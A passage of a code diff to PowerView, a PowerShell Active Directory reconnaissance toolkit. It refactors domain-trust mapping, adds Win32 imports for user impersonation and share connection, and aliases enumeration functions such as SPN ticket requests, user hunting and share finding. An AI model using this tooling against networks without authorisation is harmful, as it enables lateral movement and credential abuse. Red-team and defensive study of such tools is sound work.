+ [Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
# keep track of domains seen so we don't hit infinite recursion
@@ -13198,73 +18358,74 @@ function Invoke-MapDomainTrust {
# our domain status tracker
$Domains = New-Object System.Collections.Stack
+ $DomainTrustArguments = @{}
+ if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
+ if ($PSBoundParameters['LDAP']) { $DomainTrustArguments['LDAP'] = $LDAP }
+ if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
+
# get the current domain and push it onto the stack
- $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
- $Domains.push($CurrentDomain)
+ if ($PSBoundParameters['Credential']) {
+ $CurrentDomain = (Get-Domain -Credential $Credential).Name
+ }
+ else {
+ $CurrentDomain = (Get-Domain).Name
+ }
+ $Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
- if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
-
- Write-Verbose "Enumerating trusts for domain '$Domain'"
+ if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
+
+ Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
- $Null = $SeenDomains.add($Domain, "")
+ $Null = $SeenDomains.Add($Domain, '')
try {
# get all the trusts for this domain
- if($LDAP -or $DomainController) {
- $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
- }
- else {
- $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
- }
+ $DomainTrustArguments['Domain'] = $Domain
+ $Trusts = Get-DomainTrust @DomainTrustArguments
- if($Trusts -isnot [System.Array]) {
+ if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
- if(-not ($LDAP -or $DomainController) ) {
- $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
+ if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
+ $ForestTrustArguments = @{}
+ if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
+ if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
+ $Trusts += Get-ForestTrust @ForestTrustArguments
}
if ($Trusts) {
- if($Trusts -isnot [System.Array]) {
+ if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
- if($Trust.SourceName -and $Trust.TargetName) {
- $SourceDomain = $Trust.SourceName
- $TargetDomain = $Trust.TargetName
- $TrustType = $Trust.TrustType
- $TrustDirection = $Trust.TrustDirection
- $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1
-
+ if ($Trust.SourceName -and $Trust.TargetName) {
# make sure we process the target
- $Null = $Domains.Push($TargetDomain)
-
- # build the nicely-parsable custom output object
- $DomainTrust = New-Object PSObject
- $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
- $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
- $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
- $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
- $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
- $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
- $DomainTrust.PSObject.TypeNames.Add($ObjectType)
- $DomainTrust
+ $Null = $Domains.Push($Trust.TargetName)
+ $Trust
}
}
}
}
catch {
- Write-Verbose "[!] Error: $_"
+ Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
@@ -13274,33 +18435,15 @@ function Invoke-MapDomainTrust {
########################################################
#
# Expose the Win32API functions and datastructures below
-# using PSReflect.
-# Warning: Once these are executed, they are baked in
+# using PSReflect.
+# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
-# all of the Win32 API functions we need
-$FunctionDefinitions = @(
- (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
- (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
- (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
- (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
- (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
- (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
- (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
- (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
- (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
- (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
- (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
- (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
-)
+# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
@@ -13317,7 +18460,7 @@ $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
}
# the WTSEnumerateSessionsEx result structure
-$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
+$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
@@ -13335,26 +18478,26 @@ $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
}
# the NetShareEnum result structure
-$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
- shi1_netname = field 0 String -MarshalAs @('LPWStr')
- shi1_type = field 1 UInt32
- shi1_remark = field 2 String -MarshalAs @('LPWStr')
+$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
+ Name = field 0 String -MarshalAs @('LPWStr')
+ Type = field 1 UInt32
+ Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
-$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
- wkui1_username = field 0 String -MarshalAs @('LPWStr')
- wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
- wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
- wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
+$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
+ UserName = field 0 String -MarshalAs @('LPWStr')
+ LogonDomain = field 1 String -MarshalAs @('LPWStr')
+ AuthDomains = field 2 String -MarshalAs @('LPWStr')
+ LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
-$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
- sesi10_cname = field 0 String -MarshalAs @('LPWStr')
- sesi10_username = field 1 String -MarshalAs @('LPWStr')
- sesi10_time = field 2 UInt32
- sesi10_idle_time = field 3 UInt32
+$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
+ CName = field 0 String -MarshalAs @('LPWStr')
+ UserName = field 1 String -MarshalAs @('LPWStr')
+ Time = field 2 UInt32
+ IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
@@ -13370,6 +18513,12 @@ $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeComputer = 9
}
+# the NetLocalGroupEnum result structure
+$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
+ lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
+ lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
+}
+
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
@@ -13414,7 +18563,101 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
DomainGuid = field 7 Guid
}
+# used by WNetAddConnection2W
+$NETRESOURCEW = struct $Mod NETRESOURCEW @{
+ dwScope = field 0 UInt32
+ dwType = field 1 UInt32
+ dwDisplayType = field 2 UInt32
+ dwUsage = field 3 UInt32
+ lpLocalName = field 4 String -MarshalAs @('LPWStr')
+ lpRemoteName = field 5 String -MarshalAs @('LPWStr')
+ lpComment = field 6 String -MarshalAs @('LPWStr')
+ lpProvider = field 7 String -MarshalAs @('LPWStr')
+}
+
+# all of the Win32 API functions we need
+$FunctionDefinitions = @(
+ (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
+ (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
+ (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
+ (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
+ (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
+ (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
+ (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
+ (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
+ (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
+ (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
+ (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
+ (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
+ (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
+ (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
+ (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
+ (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
+ (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
+ (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
+)
+
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
+$Mpr = $Types['Mpr']
+$Kernel32 = $Types['kernel32']
+
+Set-Alias Get-IPAddress Resolve-IPAddress
+Set-Alias Convert-NameToSid ConvertTo-SID
+Set-Alias Convert-SidToName ConvertFrom-SID
+Set-Alias Request-SPNTicket Get-DomainSPNTicket
+Set-Alias Get-DNSZone Get-DomainDNSZone
+Set-Alias Get-DNSRecord Get-DomainDNSRecord
+Set-Alias Get-NetDomain Get-Domain
+Set-Alias Get-NetDomainController Get-DomainController
+Set-Alias Get-NetForest Get-Forest
+Set-Alias Get-NetForestDomain Get-ForestDomain
+Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
+Set-Alias Get-NetUser Get-DomainUser
+Set-Alias Get-UserEvent Get-DomainUserEvent
+Set-Alias Get-NetComputer Get-DomainComputer
+Set-Alias Get-ADObject Get-DomainObject
+Set-Alias Set-ADObject Set-DomainObject
+Set-Alias Get-ObjectAcl Get-DomainObjectAcl
+Set-Alias Add-ObjectAcl Add-DomainObjectAcl
+Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
+Set-Alias Get-GUIDMap Get-DomainGUIDMap
+Set-Alias Get-NetOU Get-DomainOU
+Set-Alias Get-NetSite Get-DomainSite
+Set-Alias Get-NetSubnet Get-DomainSubnet
+Set-Alias Get-NetGroup Get-DomainGroup
+Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
+Set-Alias Get-NetGroupMember Get-DomainGroupMember
+Set-Alias Get-NetFileServer Get-DomainFileServer
+Set-Alias Get-DFSshare Get-DomainDFSShare
+Set-Alias Get-NetGPO Get-DomainGPO
+Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
+Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
+Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin
+Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
+Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
+Set-Alias Get-SiteName Get-NetComputerSiteName
+Set-Alias Get-Proxy Get-WMIRegProxy
+Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
+Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
+Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
+Set-Alias Get-NetProcess Get-WMIProcess
+Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
+Set-Alias Invoke-UserHunter Find-DomainUserLocation
+Set-Alias Invoke-ProcessHunter Find-DomainProcess
+Set-Alias Invoke-EventHunter Find-DomainUserEvent
+Set-Alias Invoke-ShareFinder Find-DomainShare
+Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
+Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
+Set-Alias Get-NetDomainTrust Get-DomainTrust
+Set-Alias Get-NetForestTrust Get-ForestTrust
+Set-Alias Find-ForeignUser Get-DomainForeignUser
+Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
+Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping